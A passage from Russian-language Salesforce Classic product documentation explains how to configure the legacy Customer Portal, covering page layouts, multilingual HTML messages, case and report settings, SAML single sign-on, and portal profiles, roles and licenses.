• Настраиваемые объекты

• Сервисные контракты

Настройка макетов страниц портала

В настройках управления объектом, шаблон страницы которого необходимо отредактировать, перейдите к списку
«Макеты страниц».
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Поумолчаниюпользователям клиентскогопортала предоставляется полномочие «Чтение» для организаций, контактов,
активов, продуктов и прайс-листов, благодаря чему пользователи могут просматривать имена организаций, а также
выбирать контакты и активы для обращений, создаваемых на портале. Кроме того, в зависимости от используемого типа
клиентскогопортала, пользователямможет бытьпредоставленополномочие «Обновление» или «Создание» для активов
и организаций.

Прим.: Раздел «Теги» недоступен пользователям клиентского портала даже в том случае, если он добавлен в макет
страницы.

Чтобы добавить настраиваемый объект на клиентский портал, выполните указанные ниже действия.

• Установитефлажок «Доступно для клиентского портала» для нужногонастраиваемого объекта. Профильпортала
может быть назначен макету страницы настраиваемого объекта только при наличии данного флажка.

• Предоставьте полномочия настраиваемого объекта посредствомнаборов полномочийилипрофилей, назначенных
пользователям портала.

• Чтобыпредоставитьпользователямклиентскогопортала доступ ко вкладкенастраиваемогообъекта, добавьте вкладку
на клиентский портал. Дополнительную информацию см. в разделе «Настройка вкладок клиентского портала» на
странице 2666.

СМ. ТАКЖЕ:

Настройка шрифтов и цветов клиентского портала

Включение входа и параметров клиентского портала

Советы и рекомендации по настройке страниц клиентского портала

Макеты страниц

Настройка многоязычных HTML-сообщений для клиентских порталов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки языков на
портале:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Приналичиимультиязычнойподдержкипользователимогутзагружать HTML-сообщения
на любом языке, поддерживаемом системой Salesforce, и настраивать параметры
отображениясообщенийнапорталенаосновеязыковыхпараметровпортала. Например,
HTML-сообщение может быть загружено нафранцузском языке, чтобы отображаться на
вкладке «Начальнаястраница» порталанафранцузскомязыке, ианглийскомязыке, чтобы
отображаться на вкладке «Начальная страница» портала на английском языке.

Прежде чем настроить многоязычные HTML-сообщения, просмотрите рекомендации
ниже.

• Прежде чем добавить многоязычное HTML-сообщение на портал, рекомендуем
загрузить HTML-файл на вкладку «Документы».

• HTML-сообщения портала не отображаются на вкладках «Идеи», «Отчеты», «Содержимое» и «Решения».
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Чтобы настроить многоязычные HTML-сообщения, выполните указанные ниже действия.

1. Чтобы настроить язык отображения для клиентского портала, введите строку «Параметры клиентского портала» в
поле «Быстрый поиск» в меню «Настройка» и выберите «Параметры клиентского портала».

2. Щелкните имя нужного портала.

3. Нажмите кнопку «Добавить новый язык» в связанном списке «Назначенные языки».

4. Выберите нужный язык в раскрывающемся списке «Язык».

5. Щелкните значок поиска ( ) напротив имени вкладки и выберите нужное HTML-сообщение. При необходимости
повторите данное действие для каждой вкладки.

6. Нажмите кнопку «Сохранить».

Советы и рекомендации по настройке страниц клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Ниже перечислены рекомендации по настройке и общая информация о страницах
клиентского портала Salesforce.

Настройка обращений

• Принастройкеклиентскогопорталарекомендуемклонироватьмакет страницыдляобращений (макетобращения)
и назначить имя «Макет обращения портала». Данное действие позволяет отличать макеты страниц обращений
для внутренних пользователей от макетов страниц обращений для пользователей портала.

• По умолчанию новые обращения отображаются на клиентском портале. Чтобы скрыть обращение на портале,
добавьте параметр «Отображается на портале самообслуживания» в макеты страниц обращений и снимите
данныйфлажок.

• Рекомендуем не устанавливать флажки «Показать электронное уведомление об обращении» и «Показать
электронное уведомление об обращении по умолчанию» в макетах страниц обращений. Данные функции
применяются только к пользователям Salesforce.

• Рекомендуемнедобавлятьполе «Внутренние комментарии» вмакетыстраницобращений, назначенныепрофилям
портала, так какпользователипорталамогутпросматриватькомментарии, предназначенныетолькопользователям
Salesforce.

• Чтобы разрешить пользователям портала связывание обращений с активами, связанными с их организациями,
добавьте поле «Актив» в макеты страниц обращений.

• Чтобы разрешить пользователям с полномочием поля «Редактирование» замену контакта обращения другим
пользователемпорталаизтойжеорганизации, добавьтеполепоиска «Имя контакта» вмакетыстраницобращений.

• Если пользователь портала несет ответственность за обращение, то поле обращения «Имя контакта» должно
содержать контакта, связанного спользователемпортала, являющимсяответственнымзаобращение. Данноеполе
не может содержать другого контакта (даже контакта, связанного с той же организацией портала).

2678

Создание веб-каналов и каналов социальной сетиНастройка и обслуживание инструментов службы поддержки



• Рекомендуемнеустанавливатьфлажки «Показать раздел сведений о решении», «Показать флажок "Уведомить
контакта"» и «Выбрать флажок "Уведомить контакта" по умолчанию» вмакетахстраницзакрытияобращений,
так как их функции применяются только к пользователям Salesforce.

• Чтобызадать стандартноезначениеполяраскрывающегосясписка «Происхождение обращения» дляобращений,
зарегистрированных на клиентском портале, рекомендуем создать типы записей обращений.

• Чтобы активировать правила назначения обращений на клиентском портале, установите флажок «Выбрать
флажок "Назначение обращения" по умолчанию» в макетах страниц обращений, назначенных профилям
портала. Данные флажки не отображаются пользователям портала на клиентском портале. Обратите внимание,
что правила назначения срабатывают при создании и редактировании обращения. Чтобы предотвратить
автоматическое переназначение обращений, редактируемых пользователями портала, добавьте запись правила
посредствомкритерия «"Текущий пользователь": "Тип пользователя" содержит "Клиентский портал"» иустановите
флажок «Не переназначать пользователя».

• Пользователи портала могут просматривать все значения в полях раскрывающихся списков «Тип», «Статус»,
«Приоритет» и «Причина обращения», кроме случаев создания типов записей для обращений, содержащих
отдельные значения раскрывающихся списков.

• Чтобы запретить пользователям портала отправку обращений с вложениями, удалите кнопку «Отправить и
добавить вложение» из макетов страниц обращений.

1. Чтобы изменить макет страницы обращений, воспользуйтесь расширенным редактором макетов страниц.

2. Щелкните «Свойства макета».

3. Снимите флажок «Показать кнопку "Отправить и добавить вложение"».

4. Нажмите кнопку «OK».

5. Нажмите кнопку «Сохранить».

Обращения

• Пользователи портала могут создавать обращения только при наличии полномочия «Чтение» для контактов.

• Пользователипорталанемогутредактировать значениеполяраскрывающегосясписка «Статус» дляобращений.

• Пользователи портала могут редактировать и удалять собственные вложения, добавленные в обращения, но не
могут редактировать и удалять вложения, добавленные в обращения другими пользователями Salesforce.

• Кнопки «Удалить»и «Общийдоступ»на странице сведенийобобращениинедоступныпользователямпортала.

• Ссылки «Список сообщений эл. почты», «Далее» и «Назад» недоступны пользователям клиентского портала
при просмотре сообщений эл. почты из связанного списка «Эл. почта» на страницах сведений об обращениях.
Связанный список «Эл. почта» доступен только организациям, использующимфункцию Email-to-Case или
On-Demand Email-to-Case.

• Чтобыотправлятьпользователямпорталаавтоматическиеответыприсозданииобращенийнапортале, рекомендуем
создать правила автоматического ответа по обращениям.

• Пользователи портала могут просматривать, находить и создавать примечания и вложения для обращений.

• Присозданииобращенияпользовательпорталапропускаетстраницу «Предложенныерешения» иперенаправляется
в обращение, если:

– Предложенные решения не соответствуют обращению.

– Обращение создается посредством кнопки «Отправить и добавить вложение».

Обратите внимание, что предложенные решения доступны только в организациях, поддерживающих их
использование. Дополнительную информацию о предложенных решениях см. в разделе «Общие сведения о
предложенныхрешениях»настранице3129. Дополнительнуюинформациюоспособахсамостоятельногозакрытия
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обращений, доступных пользователям клиентского портала, см. в разделе «Включение входа и параметров
клиентского портала».

• Если организация использует Salesforce Knowledge, то связанный список «Статьи» может быть добавлен в макеты
страниц обращений, назначенные пользователям портала, для поиска статей, помогающих принять решение по
обращениям.

• Если организация использует Chatter, то вложения ленты добавляются в связанный список «Примечания и
вложения». Пользователи портала могут загружать вложения ленты, но не могут редактировать, удалять или
открывать их для предварительного просмотра.

Решения

• Поле раскрывающегося списка «Статус» для обращений недоступно пользователям портала.

• Решение доступно на клиентском портале даже в том случае, если значение «Проверено» не выбрано в
раскрывающемся списке «Статус»; доступность решения на клиентском портале определяется флажком
«Отображается на портале самообслуживания».

• Еслиорганизацияиспользует категориирешений, то категориирешенийтакжедоступнынаклиентскомпортале.
Некатегоризированныерешениянеотображаются в категорияхрешенийклиентскогопортала, ноотображаются
в списковых представлениях и полях поиска портала.

• Функция «Популярныерешения»недоступнана клиентскомпортале, ноначальная страница клиентскогопортала
позволяет создавать ссылки на самые важные решения организации.

Начальная страница

• Компонент «Приветствиеклиентскогопортала» можетбытьдобавленвмакетыначальнойстраницы, назначенные
пользователямклиентскогопортала. Приветствие, отображающеесякаждомупользователюпривходенаклиентский
портал, содержитимя этогопользователя. Принеобходимостипользователимогутизменитьимя, пароль, регион,
язык, часовойпоясиконтактныеданные, используемыенапортале. Изменение сведенийопользователяхпортала
инициируетобновлениесоответствующихзаписейпользователей, нонеподдерживаетавтоматическоеобновление
записей контактов.

Обратите внимание, что пользователи клиентского портала с полномочием «Единая регистрация включена» не
могут изменять имена пользователей посредством компонента «Приветствие клиентского портала».

• Присозданиимакетовначальнойстраницыклиентскогопорталарекомендуемдобавить следующиекомпоненты:
«Поиск», «Поискрешения», «Недавниеэлементы», «Приветствиеклиентскогопортала» инастраиваемыйкомпонент
«Область HTML», добавляющийфирменный стиль компании в широкий столбец.

• Создайтенастраиваемыекомпоненты, которыедолжныбытьдобавленывмакетыначальнойстраницыклиентского
портала (например, ссылки на настраиваемые списковые представления, конкретные документы и популярные
решения).

• Имена настраиваемых компонентов не отображаются в широком столбце начальной страницы клиентского
портала.

• Чтобыразместить ссылку выхода влюбойобластиверхнегоколонтитула, воспользуйтесь следующим HTML-тегом:
“<a href="/secur/logout.jsp">Выход</a>".Дополнительнуюинформациюо верхнем колонтитуле см.
в разделе «Включение входа и параметров клиентского портала» на странице 2655.

• Рекомендуем не добавлять следующие компоненты в макеты начальной страницы клиентского портала, так как
они применяются только к пользователям Salesforce: «Задачи», «Календарь», «Поиск продукта», «Недавние
элементы», «Снимок панели мониторинга», «Сообщения и предупреждения» и «Элементы для утверждения».

Действия

• Пользователи портала не могут быть назначены действиям.
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• Пользователи портала могут просматривать выполненные задачи и прошлые события, помеченные флажком
«Отображается на портале самообслуживания» и связанные с доступными объектами.

Документы
Убедитесь, что внутренниедокументыорганизации, хранящиесяна вкладке «Документы», находятся впапках, которые
недоступны пользователям портала.

Отчеты

• Пользователи портала могут запускать отчеты при наличии полномочия «Запуск отчетов».

• Пользователи портала могут экспортировать отчеты при наличии полномочия «Экспорт отчетов».

• Раздел «Параметрыотчета» неотображаетсяврезультатахотчета, таккакпользователипорталанемогутнастраивать
результаты отчета. Раздел «Созданная диаграмма», содержащий ссылки «Правка», «Большой», «Средний» и
«Маленький», также не отображается в результатах отчета.

• Результаты отчета для пользователей портала содержат только ссылки на доступные объекты.

• Пользователи портала могут составлять отчеты по объектам, которым задано значение «Личный» в единых
стандартных параметрах общего доступа. Некоторые объекты (например, решения и статьи) не могут быть
добавлены в модель общего доступа, поэтому недоступны пользователям клиентского портала для составления
отчетов.

• Пользователи портала получают сообщение об отсутствии полномочий, необходимых для запуска отчета,
содержащего недоступные объекты.

• По умолчанию все пользователи, включая пользователей портала, могут просматривать папки отчетов. Чтобы
запретить пользователям портала просмотр папок отчетов, назначьте параметрам общего доступа для папок
отчетов группу «Все внутренние пользователи».

Настраиваемые объекты

• Снятие флажка «Доступно для клиентского портала» инициирует недоступность настраиваемого объекта на
клиентскомпортале и автоматическое удаление всех полномочийнастраиваемогообъекта из профилейпортала.
При повторной установке флажка «Доступно для клиентского портала» рекомендуем обновить полномочия
настраиваемого объекта в профилях портала.

Прим.: Если доступ к настраиваемому объекту предоставляется позже, то наборы полномочий сохраняют
свою конфигурацию.

• Пользователи портала могут просматривать, находить и создавать примечания и вложения для настраиваемых
объектов.

• Если организация использует Chatter, то вложения ленты добавляются в связанный список «Примечания и
вложения». Пользователи портала могут загружать вложения ленты, но не могут редактировать, удалять или
открывать их для предварительного просмотра.

Статьи
Дополнительную информацию о настройке см. в разделе «Включение Salesforce Knowledge на клиентском портале»
на странице 2673.

Активы

• Пользователи портала могут создавать, просматривать и обновлять активы, связанные с их организациями.

• Активыдоступныпользователямпорталатолькоприналичииполяпоиска «Активы» вмакетахстраницобращений.
Чтобы просмотреть актив, пользователь портала может выбрать нужный актив в поле «Актив» на странице
сведений об обращении.

• Пользователи портала могут просматривать и находить вложения для активов.

2681

Создание веб-каналов и каналов социальной сетиНастройка и обслуживание инструментов службы поддержки



• Если организация использует Chatter, то вложения ленты добавляются в связанный список «Примечания и
вложения». Пользователи портала могут загружать вложения ленты, но не могут редактировать, удалять или
открывать их для предварительного просмотра.

Salesforce CRM Content

• Пользователи портала с лицензией Salesforce CRM Content могут выполнять любые задачи, разрешенные
соответствующими полномочиями библиотеки.

• Пользователипорталасполномочием «Просмотрсодержимогонапорталах» могуттолькопросматриватьSalesforce
CRM Content.

• Пользователи портала с полномочием «Создание библиотек» могут создавать библиотеки и управлять ими.

Дополнительнуюинформациюсм. в разделе «Включение Salesforce CRM Contentна клиентскомпортале»на странице
2668.

Ответы
Дополнительную информацию о настройке см. в разделе «Включение ответов на клиентском портале» на странице
2675. Ниже перечислены поддерживаемые изменения при настройке шрифтов и цветов портала.

• Все стили вкладки

• Следующие стили страницы:

– Фон страницы

– Текст

– Ссылка

– Всплывающая ссылка

Идеи

Дополнительную информацию о настройке см. в разделе «Включение сообщества "Идеи" на клиентском портале»
на странице 2671.

Организации
Вкладка «Организации» истраницысведенийоборганизацияхнаклиентскомпорталедоступнытолькоделегированным
администраторамвнешнихпользователей. См. раздел «Делегированиеадминистрированияпользователейклиентского
портала и суперпользователь портала» на странице 2709.

Прим.: Пользователям клиентского портала не отображается связанный список организаций «Примечания и
вложения».

Контакты
Контакты организации доступны только делегированным администраторам внешних пользователей. См. раздел
«Делегированиеадминистрированияпользователейклиентскогопорталаи суперпользовательпортала»на странице
2709.

Вкладка «Контакты», а также страницы просмотра и редактирования сведений о контактах на клиентском портале,
доступны только пользователям с полномочием «Суперпользователь портала». См. раздел «Делегирование
администрирования пользователей клиентского портала и суперпользователь портала» на странице 2709.

Прим.: Пользователям клиентского портала не отображается связанный список контактов «Примечания и
вложения».

Права

• Дополнительнуюинформациюонастройкесм. вразделе «Включениефункцииуправленияправаминаклиентском
портале» на странице 2672.
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• Добавьтеполномочие «Чтение» дляправвнастраиваемыепрофилипортала; назначьтепрофилисоответствующим
пользователям портала. См. раздел «Настройка доступа пользователей к клиентскому порталу» на странице 2699.

• Чтобы разрешить пользователям портала добавление прав в обращения, добавьте поле поиска «Имя права» в
макеты страниц обращений.

• Рекомендуем не добавлять следующие поля процесса права в макеты страниц обращений для пользователей
портала, потому что информация, связанная с внутреннимипроцессамиподдержки, должна быть имнедоступна:
«Время начала процесса права», «Время окончания процесса права», «Остановлено» и «Дата остановки».

• Чтобы разрешить пользователям портала просмотр прав, связанных с их организациями, и создание обращений
на основе прав, добавьте вкладку «Права» на клиентский портал.

• Чтобы разрешить делегированным администраторам внешних пользователей создание обращений, которые
автоматически связываются с соответствующимиправами, добавьте связанный список «Права» в макеты страниц
организаций и контактов. См. раздел «Делегирование администрирования пользователей клиентского портала и
суперпользователь портала» на странице 2709.

Сервисные контракты

• Дополнительнуюинформациюонастройкесм. вразделе «Включениефункцииуправленияправаминаклиентском
портале» на странице 2672.

• Чтобы предоставить пользователям портала доступ к сервисным контрактам, назначьте полномочие «Чтение»
для сервисных контрактов. См. раздел «Настройка доступа пользователей к клиентскому порталу» на странице
2699.

• Чтобыразрешитьпользователямпорталапросмотрсведенийосервисныхконтрактах, добавьтевкладку «Сервисные
контракты» на клиентский портал. См. раздел «Настройка вкладок клиентского портала» на странице 2666.

• Элементы строки контракта не отображаются на клиентском портале.

Потоки

• Потоки Force.com могут быть добавлены на клиентский портал путем их размещения на странице Visualforce.

• Пользователимогут выполнятьтолькопотоки, имеющиеактивнуюверсию. Придобавлениипотока, неимеющего
активнойверсии, отображается сообщениеобошибке. Придобавлениипотока, содержащегоэлементподпотока,
должна быть доступна активная версия потока, вызываемого элементом подпотока.

• Еслипользователямсайтаилипорталапредоставляетсядоступкпотоку, рекомендуемуказать страницуVisualforce,
содержащуюдобавленныйпоток, ане сампоток. Пользователямсайтаипорталанеразрешаетсянепосредственное
выполнение потоков.

СМ. ТАКЖЕ:

Настройка страниц клиентского портала
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Ограничения по настройке клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Дополнительную информацию о количестве клиентских порталов и лицензий
клиентского портала, доступных для активации, можно получить в компании Salesforce.

Максимальное количество настраиваемых объектов, доступное для добавления на клиентский портал, определяется
общим количеством настраиваемых объектов, установленным для используемой версии.

Крометого, лицензииопределяютколичествонастраиваемыхобъектов, доступноепользователюнаклиентскомпортале.
Дополнительную информацию можно получить в компании Salesforce.

СМ. ТАКЖЕ:

Настройка клиентского портала
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Включение единой регистрации для порталов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Клиентский портал
доступен в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Партнерский портал
доступен в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Единая регистрация — это процесс, предоставляющий пользователям сети доступ ко
всем авторизованным сетевым ресурсам без выполнения входа на каждый отдельный
ресурс. Функция единой регистрации позволяет проверять имена пользователей и
пароли посредством корпоративной базы данных пользователей или любого другого
клиентского приложения взамен использования разных паролей, контролируемых
системой Salesforce.

Клиентскиеипартнерскиепорталыподдерживаютфункциюединойрегистрации SAML,
позволяющую клиентам вводить учетные данные только один раз.

Прим.: Единая регистрация на порталах поддерживается только для SAML 2.0.

Чтобы включить единую регистрацию для порталов, выполните указанные ниже
действия.

1. Помимо сведений об единой регистрации SAML, которые должны быть собраны и
отправленыпоставщикуудостоверений, пользовательдолженсообщитьпоставщику
информации код организации и код портала. Атрибуты portal_id и
organization_id должны быть добавлены в утверждение SAML, полученное от
поставщика удостоверений.

Прим.: Чтобыотличатьпользователейпорталаотпользователейплатформы,
рекомендуем пропустить данные атрибуты. Например, пустой атрибут
соответствует пользователю платформы, а заполненный атрибут —
пользователю портала.

a. Введите строку «Сведения о компании» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Сведения о компании» и скопируйте код
из поля «Код организации Salesforce».

b. Чтобы настроить клиентский портал, введите строку «Параметры клиентского
портала» в поле «Быстрый поиск» в меню «Настройка», затем выберите пункт
«Параметрыклиентскогопортала», щелкните поимени клиентскогопортала
и скопируйте код из поля «Код портала».

c. Чтобы настроить партнерские порталы, введите строку «Партнеры» в поле
«Быстрый поиск» в меню «Настройка», затем выберите пункт «Параметры».
После этогощелкните по именипартнерского портала и скопируйте код из поля «Код портала Salesforce».

СМ. ТАКЖЕ:

Настройка клиентского портала
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Пользователи клиентского портала

Общие сведения об управлении пользователями клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Редактирование пользователей портала
самообслуживания»

Для управленияпользователями клиентского
портала:

«Управление профилями и наборами
полномочий»

Для управления профилями и наборами
полномочий:

«Настройка приложения»Для создания, редактирования и удаления
макетов страниц:

«Управление профилями и наборами
полномочий»

И

Для настройки параметров безопасности
поля:

«Настройка приложения»

«Управление общим доступом»Для настройки правил общего доступа:

Прим.: Начиная с выпуска Summer'13 клиентскийпорталнедоступендляновыхорганизаций. Текущиеорганизации
могут использовать клиентский портал в обычном режиме. При отсутствии клиентского портала общий доступ к
данным может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить использование собственных
клиентских порталов или выбрать использование сообществ. Дополнительную информацию можно получить у
менеджера по работе с клиентами Salesforce.

Управлениепользователямиклиентскогопортала аналогичноуправлениюобычнымипользователями Salesforce. Данная
функция использует общие понятия администрирования пользователей (например, профили и макеты страниц). Ниже
перечислены рекомендации по управлению пользователями клиентского портала.

• Профили клиентского портала

• Правила общего доступа к клиентскому порталу

• Иерархия ролей на клиентском портале

• Лицензии пользователя клиентского портала

Прим.: К пользователям массового портала относятся типы лицензий «Массовый клиентский портал» и
«Проверенный веб-узел».

Профили клиентского портала

Профили, назначаемые пользователям клиентского портала, определяют полномочия на выполнение разныхфункций
наклиентскомпортале (например, просмотр, создание, редактированиеилиудалениезаписейобращенийинастраиваемых
объектов).

Нижеперечисленыпрофили, создаваемыеавтоматическипривключенииклиентскогопортала (приусловииприобретения
соответствующих лицензий).
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• Массовый клиентский портал

• Проверенный веб-узел

• Пользователь клиентского портала

• Менеджер клиентского портала

Профили клиентского портала используют одинаковые параметры. Тем не менее, профиль «Менеджер клиентского
портала»позволяетпредоставлятьпользователямрасширенныйдоступк даннымпосредствомиерархииролейиправил
общегодоступа, заданныхдля клиентскогопортала (данныекомпонентынедоступныпользователяммассовогопортала).
Каждый профиль может быть клонирован и настроен в соответствии с текущими бизнес-требованиями отдельных
клиентов. Крометого, наборыполномочийпозволяютпредоставлятьпользователямклиентскогопорталадополнительные
полномочия и параметры доступа.

В зависимости от приобретенных лицензий, профили клиентского портала могут быть настроены для использования
настраиваемых объектов, Salesforce CRM Content, отчетов и функций поддержки клиентов (например, обращений и
решений).

Важное замечание: Для того чтобы пользователи могли просматривать новые обращения, следует включить
параметр «Новыеобращения, доступныенапортале». Введите строку «Параметры поддержки» вполе «Быстрый
поиск» в меню «Настройка» и выберите «Параметры поддержки», а затем «Новые обращения, доступные на
портале».

Правила общего доступа к клиентскому порталу

Ниже перечислены группы и категории правил общего доступа, создаваемые при включении клиентского портала.

ОписаниеГруппы и категории
правил общего доступа

Данная группа содержит всех пользователей клиентскогопортала, кромепользователей
массового портала.

Группа «Все пользователи
клиентского портала»

Данная группа содержит всех пользователей Salesforce в организации.Группа «Все внутренние
пользователи»

Данная категория позволяет создавать правила общего доступа для определенной роли
пользователей Salesforce в организации и всех нижестоящих ролей, кроме ролей
клиентского и партнерского порталов.

Пользователи массового портала не имеют ролей, поэтому не могут быть добавлены в
категории правил общего доступа.

Категория правил общего
доступа «Роли и внутренние
подчиненные роли»

Данные группыи категорияправилобщего доступамогут использоваться для созданияправилобщего доступа, которые:

• предоставляют пользователям клиентского портала или системы Salesforce доступ к конкретным данным (кроме
пользователей массового портала, которые не могут быть добавлены в группы или правила общего доступа)

• связывают пользователей клиентского портала с пользователями Salesforce

• связывают пользователей клиентского портала из разных организаций, при условии использования лицензии
«Менеджер клиентского портала»
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Иерархия ролей на клиентском портале

При включении клиентского портала система создает иерархию ролей для пользователей портала. Роли портала
уникальны для каждой организации и содержат ее имя (например, «Пользователь-клиент организации А»). В общей
иерархии ролей организации данная иерархия расположена прямо под ответственным за организацию.

Иерархия ролей портала не поддерживает изменение ролей. Роли не могут быть настроены или созданы. Доступные
роли:

• «Руководитель» (для контактов)

• «Менеджер» (для контактов)

• «Пользователь» (для контактов)

• «Организация-лицо» (для организаций-лиц)

Прим.: Все контактыпортала ворганизациипортала доступныдлячтения всемпользователямсрольюклиентского
портала (роли «Руководитель», «Менеджер» и «Пользователь») даже в том случае, если модели общего доступа к
контактам задано значение «Личный».

При включении клиентов в качестве пользователей клиентского портала система автоматически назначает роли на
основелицензий. Организациям-лицамвсегданазначаетсяроль «Организация-лицо». Контактыслицензией «Массовый
клиентский портал» или «Проверенный веб-узел» не имеют ролей.

Если уровню доступа к контактам задано значение «Личный», то пользователям массового портала предоставляется
доступ только к собственным и доступным контактам.

Иерархии ролей гарантируют недоступность чужих данных пользователям портала из других организаций. Несмотря
на свое отсутствие в иерархиях ролей, пользователи массового портала могут просматривать только записи, связанные
ссобственнымиорганизациямииликонтактами, а такжеобъекты, доступккоторымпредоставлендругимипользователями.
Чтобыразрешитьпользователямслицензией «Менеджерклиентскогопортала»изразныхорганизацийпросмотрчужих
данных, рекомендуем создать правила общего доступа.

Организации с разными типами порталов (клиентский и партнерский порталы) поддерживают отдельные иерархии
ролей для каждогопортала. Именаролей содержат связанные типыпорталов. Например, еслиорганизацияАиспользует
клиентский и партнерский порталы, то роли для клиентского портала называются «Пользователь-клиент организации
A», а для партнерского портала — «Пользователь-партнер организации A».

Чтобы просмотреть роли, назначенные пользователям клиентского портала, создайте настраиваемый отчет, выберите
папку «Административныеотчеты», выберитетипданных «Пользователи» идобавьтестолбец «Роль». Обратитевнимание,
что пользователи массового портала не имеют ролей, поэтому недоступны для создания отчетов по ролям.

Прим.: Пользователь клиентского портала, связанный с организацией, принадлежащей пользователю-партнеру,
не может быть создан.

Лицензии пользователей клиентского портала

Лицензия пользователя определяет основныефункции, доступные пользователю. Каждому пользователю должна быть
назначена только одна лицензия.

Ниже перечислены лицензии, доступные для назначения пользователям клиентского портала.

• Массовый клиентский портал

• Проверенный веб-узел

• Менеджер клиентского портала: настраиваемый

• Менеджер клиентского портала: стандартный (недоступно для новых клиентов)
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Данные лицензии определяют доступные профили клиентского портала. Кроме того, они определяют позиции
пользователей в иерархии ролей клиентского портала.

В таблице нижеперечисленылицензии клиентского портала, связанныепрофилиипозициипользователей в иерархии
ролей клиентского портала.

Роли и общий доступПрофилиЛицензия пользователя

Пользователимассового портала не имеют ролей. См.
раздел «Общие сведения о пользователях массового
портала» на странице 2691.

Запрещается предоставлять общий доступ, но
разрешается переносить собственные записи.

Профиль «Массовый
клиентский портал» или
«Проверенный веб-узел» или
один из производных
профилей.

Массовый клиентский портал

и

Проверенный веб-узел

Обе лицензии относятся к
пользователям массового
портала Запрещаетсяпереноситьобращенияотпользователей,

которымнедоступенмассовыйпортал, пользователям
массового портала.(Доступно для приобретения)

Запрещается добавлять в:

• Персональные или общедоступные группы.

• Правила общего доступа.

• Группы, работающие с организациями, группы,
работающие с возможностями, или группы,
работающие с обращениями.

• Библиотеки Salesforce CRM Content.

• Пользователям массового портала недоступны
стандартные страницы сведений об организациях
и контактах. При необходимости создайте
настраиваемоерешениепосредствомVisualforceили
API, позволяющее просматривать данные записи.

Разрешается доступ к настраиваемым объектам,
определяемый параметрами профиля.

Разрешается назначение роли «Руководитель»,
«Менеджер» или «Пользователь».

Разрешаетсяпросмотриредактированиесобственных
данных или данных, принадлежащих или доступных

Профиль «Менеджер
клиентского портала» или
производный профиль.

Менеджерклиентскогопортала:
настраиваемый

(Доступно для приобретения)

нижестоящим пользователям в иерархии ролей
клиентского портала; а также просмотр и
редактирование обращений, поле «Имя контакта»
которых содержит их имена.

Разрешается предоставлять доступ к данным
аналогично другим пользователям Salesforce.

• Разрешается доступ к настраиваемым объектам,
определяемый параметрами профиля.

• Разрешается доступ к отчетам, определяемый
параметрами профиля.
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Роли и общий доступПрофилиЛицензия пользователя

• Разрешается доступ к Salesforce CRM Content,
определяемыйлицензиейипараметрамипрофиля.
См. раздел «Включение Salesforce CRM Content на
клиентском портале» на странице 2668.

• Разрешается принимать полномочия
«Суперпользователь портала» и «Делегированный
администратор внешних пользователей».

Разрешается только назначение роли «Руководитель»,
«Менеджер» или «Пользователь».

Разрешаетсяпросмотриредактированиесобственных
данных или данных, принадлежащих или доступных

Профиль «Пользователь
клиентского портала» или
производный профиль.

Менеджерклиентскогопортала:
стандартный

нижестоящим пользователям в иерархии ролей
клиентского портала; а также просмотр и
редактирование обращений, поле «Имя контакта»
которых содержит их имена.

Разрешается предоставлять доступ к данным
аналогично другим пользователям Salesforce.

• Разрешается доступ к настраиваемым объектам,
определяемый параметрами профиля.

• Разрешается принимать полномочия
«Суперпользователь портала».

• Разрешается доступ к Salesforce CRM Content,
определяемыйлицензиейипараметрамипрофиля.
См. раздел «Включение Salesforce CRM Content на
клиентском портале» на странице 2668.

Прим.: Данная лицензия недоступна новым
клиентам.

Прим.: Организациям-лицам, включеннымвкачествепользователейклиентскогопортала, автоматическиназначается
роль «Организация-лицо», котораянеможетбытьизменена. Назначениеорганизаций-лицданнойроливыполняется
автоматически, так как они содержат только одного пользователя. Более того, всем организациям-лицам,
принадлежащим одному пользователю, назначается одинаковая роль.

СМ. ТАКЖЕ:

Настройка клиентского портала

Делегирование администрирования пользователей клиентского портала и суперпользователь портала
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Общие сведения о пользователях массового портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
